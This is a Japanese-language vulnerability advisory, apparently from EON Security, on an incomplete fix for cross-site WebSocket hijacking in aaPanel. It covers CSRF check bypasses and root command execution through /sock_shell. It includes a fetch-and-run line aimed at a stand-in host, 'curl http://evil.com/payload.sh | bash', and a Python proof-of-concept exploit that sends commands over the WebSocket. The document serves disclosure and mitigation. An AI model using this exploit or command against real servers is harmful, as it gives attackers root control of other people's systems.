aaPanel: ベンダーは必ずしも適切に修正するとは限らない

CVE-2021-37840の不完全な修正により、5年経った今も360万台のサーバーがroot RCEに晒され続けている

発見者: EON Security
CVE: 割り当て保留中
CVSS: 8.8（高） — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
影響を受けるバージョン: aaPanel 6.8.12〜7.65.0（2021年の修正以降のすべてのバージョン）
稼働台数: 360万台以上のサーバー

概要

2021年、360万台以上のサーバーで稼働する無料のホスティングコントロールパネルaaPanelにおいて、クロスサイトWebSocketハイジャッキング（Cross-Site WebSocket Hijacking）の脆弱性（CVE-2021-37840）が公開されました。ベンダーはこれを「修正」するためにCSRFトークンチェックを追加しました。

この修正はアーキテクチャ上、誤っていました。

未認証のWebSocket接続をHTTPレベルで拒否する（401を返す）代わりに、この修正はすべての接続を許可し（101 Switching Protocolsを返す）、認証チェックはWebSocketが確立された後のハンドラー内でのみ行います。追加されたCSRFチェックは、複数の方法でバイパスできます。

EON Securityは、5年経った今もすべてのaaPanelバージョンが同じ攻撃種別に対して脆弱なままであることを発見しました。

これは、6年以上の歴史を持つaaPanelに割り当てられた史上わずか10件目のCVEです。

要するにどういうことか

あなたがaaPanelを運用している場合、攻撃者には以下のことが可能です：

シナリオ1: 管理者が悪意あるリンクをクリックする

1. チームの誰かがクリックすべきでないリンク（メール、広告、メッセージ）をクリックする
2. そのページがあなたのaaPanelへのWebSocket接続を密かに開く — すでにログインしているため、ブラウザはログインCookieを自動的に送信する
3. aaPanelは有効なセッションを認識して接続を許可する — 認証が通る
4. 攻撃者が curl http://evil.com/payload.sh | bash を送信する — このコマンドはサーバー上でrootとして実行される
5. サーバーは完全に侵害される：ウェブサイトの窃取、データベースの破壊、訪問者へのマルウェア配信が行われる

必要なのは1回のクリックだけ。1回の誤クリックで、攻撃者がすべてを掌握します。

シナリオ2: APIキーが漏洩する

1. APIキーが本来あるべきでない場所に流出する — 公開GitHubリポジトリ、設定バックアップ、開発者のメモなど
2. 攻撃者がそのキーで認証し、aaPanelへのWebSocketを開く
3. CSRFチェックは「これはAPI認証済みリクエストだ」と判断し、チェックを完全にスキップする — これはコードに組み込まれたハードバイパスである
4. 攻撃者は即座にrootとしてコマンドを実行する
5. 管理者のクリックも、警告も、不審なログもない — ただ即座に侵害されるだけ

これがより大きな問題です。CSRF保護はAPI認証済みリクエストにはまったく適用されません。ブラウザベースの接続をチェックするように設計されていますが、APIアクセスのコードパスはそれを完全にバイパスします。

いずれにせよ、360万台のサーバーが影響を受けます。2021年以降のすべてのバージョンが対象です。

1. 10個すべてのWebSocketエンドポイントが、身元を確認する前に接続を受け入れる — 認証チェックの前にHTTP 101 Switching Protocolsを返す
2. CSRFチェックにはハードなバイパス条件がある — g.api_request=True（API認証済みリクエスト）と g.is_aes=True（AES暗号化リクエスト）はチェックを完全にスキップする
3. /sock_shellエンドポイントが任意のコマンドを実行する — subprocess.Popen(cmd + " 2>&1", shell=True)
4. /websshエンドポイントが攻撃者指定のSSH認証情報を受け入れる — 任意のSSHホストに接続できる
5. rootとして実行される — サーバー全体が侵害される

脆弱性の詳細

1. WebSocketエンドポイントが認証前に接続を受け入れる

すべてのWebSocketエンドポイントは、認証チェックより前にHTTP 101 Switching Protocolsを返します。comm.local()の認証チェックは、WebSocketアップグレードが完了した後にハンドラー内で実行されます：

@sockets.route('/sock_shell')
def sock_shell(ws):
    comReturn = comm.local()     # ← Auth check happens AFTER 101
    if comReturn:
        ws.send(str(comReturn))
        return

影響を受けるエンドポイント：

• /webssh（SSHターミナルプロキシ）
• /sock_shell（直接コマンド実行）
• /ws_panel（パネル管理）
• /ws_home（ダッシュボード）
• /ws_project（プロジェクト管理）
• /ws_model（モデル管理）
• /workorder_client（チケットシステム）
• /v2/* 上記すべてのv2バリアント

2. CSRFトークンチェックのバイパス

check_csrf_websocket()関数は、クロスサイトWebSocketハイジャッキングを防ぐために設計されています：

def check_csrf_websocket(ws, args):
    if g.is_aes: return True        # ← Bypass: AES mode skips check
    if g.api_request: return True    # ← Bypass: API requests skip check
    if public.is_debug(): return True
    is_success = True
    if not 'x-http-token' in args:
        is_success = False
    if is_success:
        if public.get_csrf_sess_html_token_value() != args['x-http-token']:
            is_success = False
    if not is_success:
        ws.send('token error')
        return False
    return True

2つのハードなバイパス条件が存在します：

• g.api_request: Trueの場合（APIキー認証時に設定）、CSRFチェックは完全にスキップされます。API認証済みのWebSocketセッションはすべてこの保護をバイパスします。
• g.is_aes: Trueの場合（AES暗号化APIリクエスト時に設定）、CSRFチェックもスキップされます。

トークン比較（get_csrf_sess_html_token_value()）は session.get('request_token_head', "") を返します。この値がまだ初期化されていないセッションでは、空の x-http-token がチェックを通過します。

3. sock_shellを介したコマンド実行

/sock_shellエンドポイントは、攻撃者が指定した文字列を shell=True を指定して subprocess.Popen に直接渡します：

def sock_recv(cmdstring, ws):
    p = subprocess.Popen(cmdstring + " 2>&1",
                         close_fds=True,
                         shell=True,           # ← Arbitrary command execution
                         stdout=subprocess.PIPE,
                         stderr=subprocess.PIPE)

WebSocketで受信した各メッセージはシェルコマンドとして実行されます。出力はWebSocket経由でストリーミング返されます。aaPanelはrootとして実行されるため、これはシステム全体の侵害を意味します。

4. websshを介したSSHプロキシ

/websshエンドポイントは、最初のWebSocketメッセージで攻撃者指定のSSH接続パラメータを受け入れます：

ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()

ホストが 127.0.0.1 または localhost の場合、ハンドラーはデータベースに保存された認証情報を確認するか、攻撃者指定の認証情報を使用します。

攻撃シナリオ

主な悪用経路は、ユーザーの操作を必要とする**CSWSH（クロスサイトWebSocketハイジャッキング）**です：

1. 管理者がアクティブなaaPanelセッションを持つ（ログイン済み）
2. 管理者が悪意のあるウェブページを訪問する
3. ページが wss://victim-panel:8888/sock_shell へのWebSocketを開く
4. ブラウザがセッションCookieを自動的に含める
5. comm.local()が認証を通過する（有効なセッションCookie）
6. 攻撃者が {"x-http-token": ""} を送信するか、API/AESバイパス経路を悪用する
7. CSRFチェックを通過すると、rootとしてコマンドを実行できる

APIキー侵害による代替経路：

1. 攻撃者が有効なaaPanel APIキーを入手する
2. API認証済みリクエストが g.api_request = True を設定する
3. これらのリクエストではCSRFチェックが完全にスキップされる
4. ユーザーの操作なしにWebSocket経由で直接コマンドを実行できる

影響を受けるエンドポイント

PoC

import asyncio, json, ssl
import websockets

async def exploit(target, command):
    ssl_context = ssl.create_default_context()
    ssl_context.check_hostname = False
    ssl_context.verify_mode = ssl.CERT_NONE
    
    async with websockets.connect(
        f"wss://{target}/sock_shell", ssl=ssl_context
    ) as ws:
        # Attempt CSRF bypass with empty token
        await ws.send(json.dumps({"x-http-token": ""}))
        resp = await asyncio.wait_for(ws.recv(), timeout=10)
        
        if "token error" in resp:
            # CSRF check active — may need API auth bypass
            return None
        
        # Execute command
        await ws.send(command)
        return await asyncio.wait_for(ws.recv(), timeout=30)

完全なPoC: exploit.py

検出

check.pyスクリプトを使用して、aaPanelインスタンスに脆弱なWebSocketエンドポイントがあるかどうかをテストします：

python3 check.py https://target:8888

緩和策

1. WebSocketアップグレードを受け入れる前に認証をチェックする — 後ではなくハンドシェイクレベルでHTTP 401を返す
2. ハードなバイパス条件を削除する — g.api_request と g.is_aes はCSRF保護をスキップすべきではない
3. WebSocketアップグレード時にOriginヘッダーを検証する — 認識できないオリジンを拒否する
4. 不要であればsock_shellを無効化する — 直接のrootコマンド実行を可能にする
5. aaPanel管理インターフェースへのネットワークアクセスを制限する

タイムライン

参照

• CVE-2021-37840 — 元のaaPanel CSWSH
• CVE-2026-29859 — aaPanelの任意ファイルアップロード（2026年3月）
• aaPanel GitHub — 公式リポジトリ
• EON Security — 発見者

クレジット

Yadav — EON Security
ウェブサイト: https://eonsecurity.co.za

ライセンス

このコンテンツはMITライセンスの下で提供されています。PoCは教育および防御目的のみで提供されます。